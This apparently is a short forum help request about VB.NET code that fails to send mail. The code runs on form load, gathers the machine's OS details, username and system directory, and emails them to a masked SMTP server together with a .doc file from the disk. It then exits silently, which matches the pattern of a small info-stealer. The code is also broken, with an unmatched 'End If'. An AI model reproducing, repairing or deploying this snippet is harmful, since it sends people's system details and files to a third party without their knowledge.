VBA проблема отправки почты

Dim email As New Net.Mail.MailMessage
Dim smtp As Net.Mail.SmtpClient
***
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        MyInfo = My.Computer.Info.OSVersion & "; " & My.Computer.Info.OSPlatform & "; " & My.Computer.Info.OSFullName &
            "; " & Environ("USERNAME") & "; " & System.Environment.SystemDirectory & "; " &
            System.Environment.WorkingSet

        smtp = New Net.Mail.SmtpClient("smtp.******", 2525)
        smtp.Credentials = New Net.NetworkCredential("*", "*")
        email.From = New Net.Mail.MailAddress("*")
        email.To.Add(New Net.Mail.MailAddress("*"))
        email.Body = MyInfo
        email.Subject = "ttt"
       
        email.Attachments.Add(New System.Net.Mail.Attachment("*:\*.doc"))
        End If

        smtp.Send(email)
        
        End
    End Sub